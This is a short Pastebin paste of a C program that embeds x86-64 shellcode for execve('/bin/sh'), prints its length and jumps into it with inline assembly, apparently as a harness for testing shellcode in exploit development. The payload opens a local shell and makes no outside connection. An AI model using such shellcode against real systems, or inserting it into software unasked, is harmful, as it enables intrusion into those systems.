Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //cc execshell.c && ./a.out
- #include <stdio.h>
- #include <string.h>
- unsigned const char shellc[] = "\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05";
- void main() {
- printf("bytes from shellcode: %lu\n", strlen(shellc)-1);
- asm("jmp shellc");
- return;
- }
Add Comment
Please, Sign In to add comment